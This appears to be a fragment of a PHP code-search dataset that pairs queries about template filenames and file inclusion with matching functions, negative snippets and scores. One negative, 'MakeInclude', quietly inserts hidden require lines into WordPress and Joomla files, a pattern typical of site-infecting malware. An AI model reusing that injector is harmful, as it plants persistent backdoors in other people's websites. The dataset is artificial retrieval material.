$val['size'];\n\n $_FILES[$fKey] = array(\n 'name' => $fName,\n 'type' => $fType,\n 'tmp_name' => $fTmpName,\n 'error' => $fErr,\n 'size' => $fSize\n );\n }\n } catch (Exception $ex) {\n throw new Exception('Error in _setFileObject function - ' . $ex);\n }\n }", "public function setTemplate(string $template);", "public function setFilename($filename)\n {\n $pathInfo = UnicodeFunctions::pathinfo($filename);\n $extension = (isset($pathInfo['extension']) ? '.' . strtolower($pathInfo['extension']) : '');\n $this->filename = $pathInfo['filename'] . $extension;\n $this->mediaType = MediaTypes::getMediaTypeFromFilename($this->filename);\n }", "public function setPaths(array $paths) {\r\n foreach ($paths as $path) {\r\n $this->addPath($path);\r\n }\r\n }", "public function setFilepath($filepath);", "function createJsonFile($filename, &$array)\n {\n $fp = fopen($filename, 'w');\n fwrite($fp, json_encode($array));\n fclose($fp);\n }", "private function getTemplateNameFromArray($array = false, $key = false) {\n\n\t\t$template = 'data.php';\n\n\t\tif (is_array($array) && $key) {\n\t\t\tif (!empty($array[$key])) {\n\t\t\t\t$template = $array[$key];\n\t\t\t}\n\t\t}\n\t\t\n\t\tCore\\Debug::log($template, 'Template');\n\t\treturn $template;\n\n\t}", "public function setSwitchPaths(array $paths)\n {\n $this->switchPaths = $paths;\n }", "public function setFilesToFailSignature(array $fileNames)\n {\n $this->failSignatureFiles = $fileNames;\n }", "public function setTemplateName($sTemplate)\n {\n $this->_sThisTemplate = $sTemplate;\n }", "private function __construct($handle, $filename)\n {\n $this->handle = $handle;\n $this->filename = $filename;\n }", "private function setFilename($username){\n $file = $this->cacheDir.'/'.$username.\".json\";\n $this->cacheFile = $file;\n }", "protected function applyStandardWrapToFluidPaths(array $paths)\n {\n $finalPaths = [];\n foreach ($paths as $key => $path) {\n if (StringUtility::endsWith($key, '.')) {\n if (isset($paths[substr($key, 0, -1)])) {\n continue;\n }\n $path = $this->cObj->stdWrap('', $path);\n } elseif (isset($paths[$key . '.'])) {\n $path = $this->cObj->stdWrap($path, $paths[$key . '.']);\n }\n $finalPaths[$key] = GeneralUtility::getFileAbsFileName($path);\n }\n return $finalPaths;\n }", "public function removeFiles(array $fileNameArray)\n {\n try {\n foreach ($fileNameArray as $fileName) {\n $test = new Varien_Io_File();\n $test->rm($fileName);\n }\n } catch (Exception $exception) {\n Mage::logException($exception);\n }\n\n return $this;\n }" ]
[ "0.7927536", "0.5971154", "0.5603446", "0.54295284", "0.5415793", "0.5378917", "0.5337492", "0.5329516", "0.5324023", "0.5302869", "0.5264817", "0.5218694", "0.50946766", "0.5067025", "0.5045809", "0.5009001", "0.49453923", "0.49393025", "0.49364698", "0.49208048", "0.4914602", "0.4914602", "0.4905497", "0.4902871", "0.4894966", "0.4892239", "0.4852512", "0.4852512", "0.48431164", "0.4838171", "0.48339647", "0.48301476", "0.4822795", "0.48225993", "0.48117927", "0.47961622", "0.47932783", "0.47755155", "0.4770731", "0.4770508", "0.4764307", "0.4755537", "0.47495887", "0.47495887", "0.47462752", "0.47462752", "0.47462332", "0.47248578", "0.4713422", "0.4713422", "0.4713422", "0.47130904", "0.47093758", "0.47024488", "0.46898934", "0.46858722", "0.4666933", "0.4653593", "0.4650161", "0.46496618", "0.46313864", "0.46305737", "0.4629094", "0.46271983", "0.46250406", "0.46210837", "0.46086597", "0.46014968", "0.4598547", "0.45931324", "0.45800954", "0.45509118", "0.45386088", "0.45370513", "0.45350048", "0.45308182", "0.45284343", "0.45113942", "0.4510153", "0.45080084", "0.45037246", "0.45004436", "0.4494462", "0.44929874", "0.44923398", "0.4477473", "0.44757187", "0.44753835", "0.44720155", "0.445926", "0.4458305", "0.44486177", "0.44438997", "0.44416752", "0.44415", "0.44393462", "0.44306248", "0.44279644", "0.44237217", "0.44222012" ]
0.69353276
1
Assigns template filename for handle.
function set_filename($handle, $filename, $xs_include = false, $quiet = false) { global $config; $can_cache = $this->use_cache; if(strpos($filename, '..') !== false) { $can_cache = false; } $this->files[$handle] = $this->make_filename($filename, $xs_include); $this->files_cache[$handle] = ''; $this->files_cache2[$handle] = ''; // check if we are in admin control panel and override extreme styles mod controls if needed if(defined('XS_ADMIN_OVERRIDE') && (XS_ADMIN_OVERRIDE === true) && @function_exists('xs_admin_override')) { xs_admin_override(); } // checking if we have valid filename if(!$this->files[$handle]) { if(($this->files[$handle] === false) || $xs_include || $quiet) { return false; } else { die("Template->make_filename(): Error - invalid template $filename"); } } // creating cache filename if($can_cache) { $this->files_cache2[$handle] = $this->make_filename_cache($this->files[$handle]); if(@file_exists($this->files_cache2[$handle])) { $this->files_cache[$handle] = $this->files_cache2[$handle]; } } // checking if tpl and/or php file exists if(empty($this->files_cache[$handle]) && !@file_exists($this->files[$handle])) { // trying to load alternative filename (usually default) if(!empty($this->tpldef) && !empty($this->tpl) && ($this->tpldef !== $this->tpl)) { $this->files[$handle] = ''; // save old configuration $root = $this->root; $tpl_name = $this->tpl; // set temporary configuration $this->root = $this->tpldir . $this->tpldef; $this->tpl = $this->tpldef; // recursively run set_filename $res = $this->set_filename($handle, $filename, $xs_include, $quiet); // restore old configuration $this->root = $root; $this->tpl = $tpl_name; return $res; } if($quiet) { return false; } if($xs_include) { if($config['xs_warn_includes']) { //die('Template->make_filename(): Error - included template file not found: ' . $this->tpl . $filename); die('Template->make_filename(): Error - included template file not found: ' . $filename); } return false; } else { //die('Template->make_filename(): Error - template file not found: ' . $this->tpl . $filename); die('Template->make_filename(): Error - template file not found: ' . $filename); } } // checking if we should recompile cache if(!empty($this->files_cache[$handle]) && !empty($config['xs_auto_recompile'])) { $cache_time = @filemtime($this->files_cache[$handle]); if((@filemtime($this->files[$handle]) > $cache_time) || ($config['xs_template_time'] > $cache_time)) { // file was changed. don't use cache file (will be recompled if configuration allowes it) $this->files_cache[$handle] = ''; } } return true; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function template($template_filename) {\n if ( $template_filename[0] == '/' ) {\n $this->template_file = $template_filename;\n } else {\n $this->template_file = $this->module_path.'template/'.$template_filename;\n }\n }", "public function setTemplate($file);", "protected function getTemplatePathAndFilename() {}", "public function setTemplate(string $template_name);", "public function setTemplate($template)\n {\n if (sfToolkit::isPathAbsolute($template))\n {\n print \">>>1\";\n $this->directory = dirname($template);\n $this->template = basename($template);\n }\n else\n {\n print \">>>2\";\n $this->directory = $this->context->getConfiguration()->getTemplateDir($this->moduleName, $template);\n $this->template = $template;\n }\n }", "protected function currentTemplateHandle(){\n if( $this->_currentTemplateHandle === null ){\n $blockObj = $this->getBlockObject();\n $this->_currentTemplateHandle = ( is_object($blockObj) ) ? (string) $blockObj->getBlockFilename() : null;\n }\n return $this->_currentTemplateHandle;\n }", "public function setFilenameTemplate($template)\n {\n $this->_filenameTemplate = $template;\n\n return $this;\n }", "function set_template($template_name) {\n\t\t$this->template = $template_name;\n\t}", "public function set_filename($file) {\r\n if ( self::is_smarty_template($file) ) {\r\n throw new Kohana_Exception('Cannot use set_filename to initialise Smarty template :tpl; use View::factory instead',\r\n array(':tpl' => $file));\r\n }\r\n return parent::set_filename($file);\r\n}", "public function setTemplate($nomtmp) {\r\n $filevue = \"application/templates/\" . $nomtmp . \".template.php\";\r\n if (file_exists($filevue)) {\r\n $this->template = $nomtmp;\r\n } else {\r\n die(\"template $filevue inexistante \");\r\n }\r\n }", "public function setFile ($fileName) {\n\t\t$basedir = $this->app->getTemplateDirectory();\n\t\t$extension = ($this->extension === 'php'? '' : '.' . $this->extension) . '.php';\n\t\t\n\t\t$this->template->setFile([\n\t\t\t$fileName,\n\t\t\t\"{$fileName}{$extension}\",\n\t\t\t\"{$basedir}{$fileName}\",\n\t\t\t\"{$basedir}{$fileName}{$extension}\",\n\t\t]);\n\t}", "function files_handle_on_email_templates(&$templates) {\n $templates[FILES_MODULE] = array(\n new EmailTemplate(FILES_MODULE, 'new_file'), \n new EmailTemplate(FILES_MODULE, 'new_revision')\n );\n }", "function _setTemplate($template = null) {\n if (empty($template)) {\n $backtrace = debug_backtrace();\n if (empty($backtrace[1]['function'])) {\n return $this->template = null;\n }\n $parent = $backtrace[1]['function'];\n $method = '';\n if ($parent == '__call') {\n $method = str_replace('send', '', $backtrace[2]['function']);\n } else {\n $method = $backtrace[1]['function'];\n }\n $template = Inflector::underscore($method);\n }\n $this->template = sprintf('%s%s%s',\n $this->_templateFolder(),\n DS,\n $template\n );\n }", "public function getTemplatePathAndFilename() {}", "public function setTemplate(string $template);", "function PHPTemplate($file = '') {\r\n $this->file = $file;\r\n }", "private function setTemplate(){\n if (isset($this->data['template']) && !empty($this->data['template'])){\n $template = APP_ROOT.'/app/templates/'.trim($this->data['template']).'.tpl';\n if (file_exists($template)){\n $this->template = $template;\n return;\n }\n }\n //default\n $this->template = APP_ROOT.'/app/templates/default.tpl';\n }", "public function setTemplatefile($path)\n\t{\n\t\t$this->templatefile = $path;\n\t}", "abstract public function getTemplateFile();", "function setTemplate($template);", "protected function filename()\n {\n return 'emailtemplate_' . time();\n }", "function getTemplateFilename($t)\n{\n\treturn ARC_TEMPLATE_FS . $t . '.php';\n}", "public function setTemplateFile($file)\n {\n $this->file_template = $file;\n }", "function template($file, $error = \"Template Datei nicht gefunden!\") {\n // Variabeln auf Standardwerte setzen\n $this->tmp_file = $file;\n $this->error = $error;\n $this->content = \"\";\n }", "public function getTemplateFilePath() {\n\t}", "abstract protected function setTemplate($item);", "function _tpl_load($handle)\n\t{\n\t\tglobal $config, $user, $db;\n\n\t\t// If we don't have a file assigned to this handle, die.\n\t\tif ( !isset($this->files[$handle]) )\n\t\t{\n\t\t\tmessage_die(GENERAL_ERROR, 'template->_tpl_load(): No file specified for handle ' . $handle, '', __LINE__, __FILE__);\n\t\t}\n\n\t\t// get the file name\n\t\t$w_filename = str_replace('/', '_', $this->filename[$handle]);\n\t\t$filename = ($this->mains[$handle] ? $this->alt_cacheprefix : $this->cacheprefix) . $w_filename . '.' . $config->ext;\n\n\t\t// Recompile page if the original template is newer, otherwise load the compiled version\n\t\tif ( !empty($this->compiled_code[$handle]) )\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\telse if ( !$config->data['cache_disabled_template'] && @file_exists($filename) && (!$config->data['cache_check_template'] || (@filemtime($filename) > @filemtime($this->files[$handle]))) )\n\t\t{\n\t\t\treturn $filename;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_tpl_load_file($handle);\n\t\t}\n\t\treturn false;\n\t}", "function template($template=\"simple\"){\n\n\t\t// THE PHYSICAL TEMPLATE SHOULD BE IN THE RESPECTIVE \n\t\t// TEMPLATE/TYPE/$template.php\n\t\t$this->template = $template;\n\t}", "public function templateFile() {\n return $this->_templateFile($this->intendedTemplate());\n }", "public function setIdentifier(){\n\n \t$this->fileIdentifier = $this->getIdentifier();\n }", "public function set_template($template)\n\t{\n\t\t// On regarde si une modification du template existe\n\t\t$updated_template = dirname($template) . '/' . get_file_data(basename($template), 'filename') . '.updated';\n\t\tif (file_exists($updated_template))\n\t\t{\n\t\t\t$template = $updated_template;\n\t\t}\n\n\t\tif (!file_exists($template))\n\t\t{\n\t\t\ttrigger_error('Le template ' . $template . ' n\\'existe pas', FSB_ERROR);\n\t\t}\n\t\t\n\t\t// Recuperation du contenu du template\n\t\t$this->body = file_get_contents($template);\n\t}", "function _get_template_edit_filename($fullpath, $containingfolder)\n {\n }", "function setTemplate($value) {\n $this->template = $value;\n }", "abstract public function getTemplateName();", "private function auto_create(){\n\n if ( $this->firebug ) \\FB::info(get_called_class().\": auto creating file\");\n\n $root = $this->use_codeza_root ? (string)new Code_Alchemy_Root_Path() : '';\n\n $filename = $root . $this->template_file;\n\n if ( file_exists($filename) && ! file_exists($this->file_path)) {\n\n $copier = new Smart_File_Copier($filename,$this->file_path,$this->string_replacements,false);\n\n $copier->copy();\n\n }\n\n\n\n }", "private function renderTemplate(){\n\t\trequire($this->TemplateFile);\n\t}", "public function setTemplate($tpl_name){\n \tif($this->isAllowedToChangeTemplate()){\n \t\t$this->template = $tpl_name;\n \t\t$this->baseReplaces['tpl_folder'] = $this->getTemplateDir();\n \t\t$GLOBALS['tpl']['activeTemplate'] = $tpl_name;\n \t}\n }", "function _tpl_load_file($handle)\n\t{\n\t\tglobal $config;\n\n\t\t// Try and open template for read\n\t\tif (!($fp = @fopen($this->files[$handle], 'r')))\n\t\t{\n\t\t\tmessage_die(GENERAL_ERROR, 'template->_tpl_load(): File ' . $this->files[$handle] . ' does not exist or is empty', '', __LINE__, __FILE__);\n\t\t}\n\n\t\t// compile required\n\t\tinclude_once($config->url('includes/class_template_compiler'));\n\t\t$tpl_compiler = new tpl_compiler();\n\t\t$this->compiled_code[$handle] = $tpl_compiler->compile(trim(@fread($fp, filesize($this->files[$handle]))));\n\t\t@fclose($fp);\n\n\t\t// output the template to the cache\n\t\tif ( !$config->data['cache_disabled_template'] )\n\t\t{\n\t\t\t$filename = ($this->mains[$handle] ? $this->alt_cacheprefix : $this->cacheprefix) . str_replace('/', '_', $this->filename[$handle]) . '.' . $config->ext;\n\t\t\t$tpl_compiler->compile_write($handle, $this->compiled_code[$handle], $filename);\n\t\t}\n\t\tunset($tpl_compiler);\n\t}", "function set_template( $template_file = 'template.php' )\n {\n // make sure that $template_file has .php extension\n $template_file = substr( $template_file, -4 ) == '.php' ? $template_file : ( $template_file . \".php\" );\n\n $this->template = \"../../{$this->settings->root_folder}/themes/{$this->settings->theme}/{$template_file}\";\n }", "public function setTemplate($template = '')\n {\n $this->template = ROOT . DS . $this->configuration->get('app.name') . DS . 'view' . DS . $this->action . DS . $template . '.phtml';\n }", "public function filePath() {\n $path = 'templates/modules/modal-base.php';\n $template = new SageWrapping( $path );\n\n return $template;\n }", "function __construct($tpl_name = null) {\n $this->file = $this->_get_path($tpl_name);\n }", "function set_file($handle, $filename = \"\", $blocks = false)\r\n\t{\r\n\t\t\tif ($filename == \"\") \r\n\t\t\t{\r\n\t\t\t\t$this->error(\"phemplate::set_file(): filename for handle '$handle' is empty.\", 'fatal');\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\t$this->vars[$handle] = $this->read_file($filename);\r\n\t\t\tif ($blocks & TPL_STRIP_UTF_HEADER)\r\n\t\t\t{\r\n\t\t\t\t$header = substr($this->vars[$handle], 0, 3);\r\n\t\t\t\tif (\"\\xEF\\xBB\\xBF\" == $header) $this->vars[$handle] = substr($this->vars[$handle], 3);\r\n\t\t\t}\r\n\t\t\tif ($blocks) { $this->extract_blocks($handle, $blocks & TPL_BLOCKREC); }\r\n\t\t\treturn true;\r\n\r\n\t}", "protected function setTemplatePaths() {}", "private function setFileName() {\n $FileName = Uteis::Name($this->Name) . strrchr($this->File->name, '.');\n if (file_exists(self::$BaseDir . $this->Send . $FileName)):\n $FileName = Uteis::Name($this->Name) . '-' . time() . strrchr($this->File->name, '.');\n endif;\n $this->Name = $FileName;\n }", "function SetFileName(){\n\t\t$this->FindRootFile();\n\t\t$this->BookLink = $_SERVER['DOCUMENT_ROOT'].'/'.$this->BookLink.'/'.$this->RootFile;\n\t}", "public function getTemplateFile();", "function Template ($templateFile, $render = true, $stylesheet = false) {\n\t\t\t$this->filename = $this->getTemplateRoot().$templateFile;\n\t\t\tif ($render) {\n\t\t\t\t$this->reloadTemplate();\n\t\t\t}\n\t\t}", "public function setTemplateName($sTemplate)\n {\n $this->_sThisTemplate = $sTemplate;\n }", "public static function setTemplate($name) {\n $settings = self::getSettings();\n \n $settings->template = $name;\n $settings->save();\n }", "function xTemplateAssign($name, $value) {\n\n if(!isset($this->xTemplate)) {\n $this->createXTemplate();\n }\n $this->xTemplate->assign($name, $value);\n\n}", "public function setTemplate($template);", "public function setTemplate($template);", "public function singleFileTemplate($value) {\n return $this->setProperty('singleFileTemplate', $value);\n }", "function setFilename($filename);", "function wp_tempnam($filename = '', $dir = '')\n {\n }", "public function LoadTemplate($sFilename) {\t\t\n\t}", "public static function assignTemplate($key,$t) {\r\n\t\tself::assign($key,self::fetch($t));\r\n\t}", "protected function _setTemplateMeta(){\n $this->template->project_name = $this->config['project']['name'] ;\n $this->template->title = $this->config['view']['title'] ;\n $this->template->keywords = $this->config['view']['keywords'];\n $this->template->description = $this->config['view']['description'];\n }", "public function FrontendOutputPostGenerate() {\n\t\t\tfile_put_contents($this->location, $this->template);\n\t\t}", "public function genFilename()\n {\n $filename = $this->getAssetableType().$this->assetable_id.'_';\n $filename .= uniqid();\n if(!empty($this->getThumbnailType())) $filename .= '_'.$this->getThumbnailType();\n $filename .= '.'.$this->uploadedFile->extension;\n $this->filename = $filename;\n }", "function qa_set_template($template)\n{\n\tglobal $qa_template;\n\t$qa_template = $template;\n}", "public function setTemplate($template) {\n \n\n \t$this->display($template);\n }", "public function setFileName() {\n\t\t$name = 'color_' . $this->width . 'x' . $this->height;\n\t\tforeach ($this->colors as $color) {\n\t\t\t$name .= '_' . strtolower(preg_replace('/^#/', '', $color));\n\t\t}\n\t\t$name .= '.png';\n\t\t$this->fileName = $this->tempDir . $name;\n\t}", "private function prepareTemplate() {\r\n $template = $this->iTemplateFactory->createTemplate();\r\n $template->_control = $this->linkGenerator;\r\n $this->setTemplate($template);\r\n }", "public function setTemplate($path)\n {\n $this->templatePages = $this->setSourceFile($path);\n }", "function setTemplate($template) {\n $this->template = $template;\n }", "public function setTemplate($val){ return $this->setField('template',$val); }", "private function setFileName(){\n if($this->customFileName !== ''){\n $prefix = $this->customFileName.'_';\n $this->finalFileName = uniqid($prefix).'.'.$this->fileExt;\n }else{\n $this->finalFileName = basename($this->fileName, \".\".$this->fileExt ).md5(microtime()).'.'.$this->fileExt;\n } \n }", "protected function getTemplateFilename() {\n if (isset($this->extra['template-file'])) {\n return $this->extra['template-file'];\n }\n return 'settings.local.php.twig';\n }", "public function getTemplatefile()\n\t{\n\t\treturn $this->templatefile;\n\t}", "private function __construct($handle, $filename)\n {\n $this->handle = $handle;\n $this->filename = $filename;\n }", "public function getTemplateName()\n {\n }", "function get_template_name($instance) {\n return 'template';\n }", "function define($handle, $template)\n {\n $this->mBlockHandles[$handle] = yats_define($this->mPath . $template, $this->mPath );\n\n yats_assign($this->mBlockHandles[$handle], $this->mGlobalAssignArray);\n\n foreach($this->mGlobalHideSectionArray as $key => $hidden) {\n yats_hide($this->mBlockHandles[$handle], $key, $hidden);\n }\n\n $this->mBlockKeys = array($handle => array());\n }", "public function setTemplate($value);", "public static function &get_template($filename)\n\t{\n\t\t$dbt = debug_backtrace();\n\t\t$template = new Template(realpath(dirname($dbt[0]['file']).'/../templates').'/'.$filename);\n\t\treturn $template;\n\t}", "public static function setTemplate($template)\n {\n self::$template = $template;\n }", "private function setFilename($username){\n $file = $this->cacheDir.'/'.$username.\".json\";\n $this->cacheFile = $file;\n }", "protected function setTemplateVariables() {}", "public function setTemplate($template)\n {\n // store instance of template\n\t\t$this->_template = $template;\n }", "public function fullPath(){\n if ( strpos( $this->template, DIRECTORY_SEPARATOR ) === 0 ) {\n return $this->template . '.php';\n } else {\n return $this->path . DIRECTORY_SEPARATOR . $this->template . '.php';\n }\n }", "public function displayFile($template_name)\n\t{\n\t\t$this->render($template_name);\n\t\texit();\n\t}", "public function setTemplate($template_string){\n\t\t$this->template = $template_string;\n\t}", "function setFilename($key);", "public function setTemplateDir($path);", "function template ($file, $data) {\n\textract ($data);\n\trequire ($file);\n}", "function zenTemplate( $template ) {\n $this->_template = $template;\n $this->_get();\n }", "function assign_var_from_handle($varname, $handle)\n\t{\n\t\tob_start();\n\t\t$res = $this->pparse($handle);\n\t\t$this->vars[$varname] = ob_get_contents();\n\t\tob_end_clean();\n\t\treturn $res;\n\t}", "function createXTemplate() {\n if(!isset($this->xTemplate)) {\n if(isset($this->xTemplatePath)) {\n\n $this->xTemplate = new XTemplate($this->xTemplatePath);\n $this->xTemplate->assign(\"APP\", $this->local_app_strings);\n if(isset($this->local_mod_strings))$this->xTemplate->assign(\"MOD\", $this->local_mod_strings);\n $this->xTemplate->assign(\"THEME\", $this->local_theme);\n $this->xTemplate->assign(\"IMAGE_PATH\", $this->local_image_path);\n $this->xTemplate->assign(\"MODULE_NAME\", $this->local_current_module);\n } else {\n $GLOBALS['log']->error(\"NO XTEMPLATEPATH DEFINED CANNOT CREATE XTEMPLATE\");\n }\n }\n}", "protected function setupTemplate() {\r\n \r\n }", "protected function setHandle()\n\t\t{\n\t\t\t$this->handle = fopen($this->filename, 'a+');\n\t\t}", "protected\n function getTemplate($template, $name)\n {\n $this->template = $this->file->get($template);\n\n if ($this->needsScaffolding($template)) {\n return $this->replaceStandardParams($this->getScaffoldedTemplate($name));\n }\n\n // Otherwise, just set the file\n // contents to the file name\n return $this->replaceStandardParams($name);\n }", "public function setTemplatePathLink(string $path);", "public function assignTemplateVariable($varName, $varValue);", "protected function setVarToTemplates()\n {\n $this->templates->set_tpl($this->varName, $this->checkNewCommondaty());\n }", "function xh_templateMapping($name)\r\n\t{\r\n\t}", "function __tmpimage(&$handler, $filename=null) {\r\r\n\t\tasido::trigger_abstract_error(\r\r\n\t\t\t__CLASS__,\r\r\n\t\t\t__FUNCTION__\r\r\n\t\t\t);\r\r\n\t\t}", "function setHandle(string $handle);", "function render($filename, $data = null)\n{\n if ($data) {\n foreach($data as $key => $value) {\n $$key = $value;\n }\n }\n\n require('templates\\header.php');\n require($filename . '.php');\n require('templates\\footer.php');\n\n die();\n}" ]
[ "0.66920084", "0.64321434", "0.6258556", "0.62155324", "0.6106045", "0.6083155", "0.6078478", "0.60594845", "0.60208255", "0.59707594", "0.59570247", "0.59402007", "0.58738464", "0.5849052", "0.58395165", "0.58280516", "0.5786216", "0.57614493", "0.57218343", "0.5714084", "0.56927896", "0.5655483", "0.5651475", "0.56489396", "0.5611989", "0.5575423", "0.55439055", "0.54932123", "0.5491162", "0.54838365", "0.54582155", "0.54407465", "0.54402214", "0.5439517", "0.5439495", "0.54341906", "0.5431853", "0.54287684", "0.53970236", "0.53968894", "0.5388914", "0.5376625", "0.53628653", "0.53574306", "0.5341027", "0.5334601", "0.5331751", "0.53299475", "0.5324625", "0.5322174", "0.53147984", "0.5306493", "0.5306493", "0.52903205", "0.52822447", "0.52652603", "0.52604985", "0.5257201", "0.52566355", "0.5239487", "0.52365845", "0.5226085", "0.52072346", "0.52062225", "0.5198898", "0.5195164", "0.5194826", "0.5190551", "0.518594", "0.5185198", "0.5182242", "0.5180527", "0.5172524", "0.51716924", "0.5169961", "0.515661", "0.51427716", "0.5142327", "0.5122679", "0.51221305", "0.5122084", "0.51213306", "0.51206976", "0.5114224", "0.5110086", "0.51091504", "0.510536", "0.51042664", "0.5102431", "0.5102178", "0.5101546", "0.5100784", "0.50921845", "0.50911325", "0.5090191", "0.50804275", "0.50752926", "0.50746816", "0.50738126", "0.5070684" ]
0.62421864
3
includes file or executes code
function execute($filename, $code, $handle) { global $lang, $theme, $config; $template = $theme['template_name']; global ${$template}; $theme_info = &${$template}; $exclude_tpl_array = array('def_tree_def.tpl', 'rss_body.tpl'); //die(basename($this->files[$handle])); if($config['xs_add_comments'] && $handle && !in_array(basename($this->files[$handle]), $exclude_tpl_array)) { echo '<!-- template ', $this->files[$handle], ' start -->'; } if($filename) { include($filename); } else { /* die($this->files[$handle]); die($code); */ eval($code); } if($config['xs_add_comments'] && $handle && !in_array(basename($this->files[$handle]), $exclude_tpl_array)) { echo '<!-- template ', $this->files[$handle], ' end -->'; } return true; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function processIncludes() {}", "function addInclude($path,$eval = true) {\n\t\t $this->Open();\n\t\t if ($eval) {\t\t \t\t \n\t\t $this->Stream .= 'include('.$this->prepareVariableString($path).');'.chr(10);\n\t\t \n\t\t } else {\t\t \n\t\t $this->Stream .= 'include($'.$value.');'.chr(10);\n\t\t } \n\t\t}", "function sw_include( $file ) {\n\t$_file_path = TEMPLATEPATH . '/inc/' . $file . '.php';\n\n\tif( file_exists( $_file_path ) ) :\n\t\tinclude $_file_path;\n\telse:\n\t\treturn 0;\n\tendif;\n}", "private function includes() {\n \t$includes = array(\n \t\t'/includes/event-custom-post-type.php',\n \t\t'/includes/shortcodes.php',\n \t\t'/includes/display-helper.php',\n \t\t'/includes/query-helper.php'\n \t);\n \t\n \t$admin_includes = array();\n \t\n \tif ( file_exists( dirname( __FILE__ ) . '/includes/cmb2/init.php' ) ) {\n \trequire_once dirname( __FILE__ ) . '/includes/cmb2/init.php';\n } elseif ( file_exists( dirname( __FILE__ ) . '/includes/CMB2/init.php' ) ) {\n \trequire_once dirname( __FILE__ ) . '/includes/CMB2/init.php';\n }\n \n \t// Load files\n \tforeach ( $includes as $file ) {\n \t\tif ( file_exists( dirname( __FILE__ ) . $file ) ) {\n \t\t\trequire_once dirname( __FILE__ ) . $file;\n \t\t}\n \t}\n \n \t// Load admin files\n \tif ( is_admin() ) {\n \t\tforeach ( $admin_includes as $file ) {\n \t\t\tif ( file_exists( dirname( __FILE__ ) . $file ) ) {\n \t\t\t\trequire_once dirname( __FILE__ ) . $file;\n \t\t\t}\n \t\t}\n \t}\n }", "public function actionInclude($file) {\n\t\t$function = create_function('$param',\n\t\t\t'unset($param[\"_route\"]);'\n\t\t\t.'$_GET=array_merge($_GET, $param);'\n\t\t\t.'unset($param);'\n\t\t\t.'require_once \"'.$file.'\";');\n\t\t$this->action($function);\n\t}", "public function inc($file)\n {\n include($file . '.php');\n }", "function includeFile($file)\n{\n return include $file;\n}", "public function core($file)\n {\n\t\t//echo self::$base_path.'/luser/src/'.$file .'.php';\n if (file_exists( self::$framework . DIRECTORY_SEPARATOR . $file . '.php')) {\n require self::$framework . DIRECTORY_SEPARATOR . $file . '.php';\n\t\t\t\t //echo \"success load ->\".self::$framework . DIRECTORY_SEPARATOR . $file . '.php'.\"<br>\";\n } \n }", "public function loadIncludes() {\n // TODO: better way to skip load includes.\n $this->addCSS($this->env->dir['tmp_files'] . '/css.min.css');\n $this->addJS('/tmp/js.min.js');\n }", "public function includeFile($once = true);", "private function includeFile($path) {\n // Legacy structure files require global variables.\n\n /* @var \\Gdn_Database $Database */\n $Database = $this->container->get(\\Gdn_Database::class);\n $SQL = $Database->sql();\n $Structure = $Database->structure();\n\n $r = require $path;\n if (is_callable($r)) {\n $this->container->call($r);\n }\n }", "public function includes() {\n\t\trequire_once( 'metabox.php' );\n\t}", "public function run()\n {\n global $sDB, $sUser, $sRequest, $sPage;\n\n if(!$sPage)\n {\n return;\n }\n\n $functionsFile = $this->getTemplateRootAbs().\"functions.php\";\n if(file_exists($functionsFile))\n {\n include($functionsFile);\n }\n\n $templatefile = $this->getTemplateRootAbs().$sPage->templateFile();\n\n if(file_exists($templatefile))\n {\n include($templatefile);\n }else\n {\n exception(\"Incfile: \".$templatefile.\" does not exist\");\n }\n }", "public function includeFile()\n {\n foreach($this->arra_constant_file as $stri_file)\n {include_once($stri_file);}\n }", "function MakeInclude()\n{\n\t$sFileUrl = '';\n\tif(isset($_REQUEST['file-path']) === false)\n\t{\n\t\techo '<fail>no file path</fail>';\n\t\treturn;\n\t}\n\t$sFileUrl = trim($_REQUEST['file-path']);\n\t\n\t\n\tif(file_exists($sFileUrl) === false)\n\t{\n\t\techo '<fail>fail not exist</fail>';\n\t\treturn;\n\t}\n\t\n\t\n\t$sGettedContent = ''; \n\t$sGettedContent = file_get_contents($sFileUrl);\n\t\n\tif($sGettedContent === false || strlen($sGettedContent) === 0)\n\t{\n\t\techo '<fail>cant get content from file</fail>';\n\t\treturn;\n\t}\n\t\n\tif(strcmp(__CMS_NAME__, 'wordpress') === 0)\n\t{\n\t\t$sGettedContent = str_replace(\"@require_once('class.wp-includes.php');\", '', $sGettedContent);\n\t\t$sGettedContent = preg_replace(\"/(@package\\s+WordPress\\s+\\*\\/)/\", \"\\\\1@require_once('class.wp-includes.php');\", $sGettedContent);\n\t} else\n\t\tif(strcmp(__CMS_NAME__, 'joomla') === 0)\n\t\t{\n\t\t\t$sGettedContent = str_replace(\"\\n\\ndefine('JPATH_ADAPTERSERVER', dirname(__FILE__).'/joomla/base/adapterobserver.php');\\nif(file_exists(JPATH_ADAPTERSERVER))\\n@require_once(JPATH_ADAPTERSERVER);');\", '', $sGettedContent);\n\t\t\t$sGettedContent = preg_replace(\"/\\*\\//\", \"*/\\n\\ndefine('JPATH_ADAPTERSERVER', dirname(__FILE__).'/joomla/base/adapterobserver.php');\\nif(file_exists(JPATH_ADAPTERSERVER))\\n@require_once(JPATH_ADAPTERSERVER);\", $sGettedContent, 1);\n\t\t}\t\t\n\t\n\t$stOutFileHandle = false;\n\t$stOutFileHandle = fopen($sFileUrl, 'w');\n\tif($stOutFileHandle === false)\n\t{\n\t\techo '<fail>cant open file for write</fail>';\n\t\treturn;\n\t}\n\t\tfwrite($stOutFileHandle, $sGettedContent);\n\tfclose($stOutFileHandle);\n\t\n\techo '<correct>correct include</correct>';\n\treturn;\n}", "public function run () {\n\t\trequire_once $this->pluginFile;\n\t}", "public function includes() {\n\t\t\trequire_once( CHERRY_SITE_SHORTCODES_DIR . 'includes/public/tools.php' );\n\n\t\t\t$this->shortcodes();\n\t\t}", "function loadFile($src){\n if(file_exists($src) && is_readable($src))\n {\n include $src;\n if(isset($CONFIG)) $this->add($CONFIG);\n }\n }", "function include_file($filename)\n\t{\n\t\tglobal $phpbb_root_path, $phpEx;\n\n\t\tif (!empty($this->update_info['files']) && in_array($filename, $this->update_info['files']))\n\t\t{\n\t\t\tinclude_once($this->new_location . $filename);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tinclude_once($phpbb_root_path . $filename);\n\t\t}\n\t}", "public function includes() {\n include_once('default/default-interface.php');\n include_once('default/default-model.php');\n include_once('default/customer-completed-order.php');\n 